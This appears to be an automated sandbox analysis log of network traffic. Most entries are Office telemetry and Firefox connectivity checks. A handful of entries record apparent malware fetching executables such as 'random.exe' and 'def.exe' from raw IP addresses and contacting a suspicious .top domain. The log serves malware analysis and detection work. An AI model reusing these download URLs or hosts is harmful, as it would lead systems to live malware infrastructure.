Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
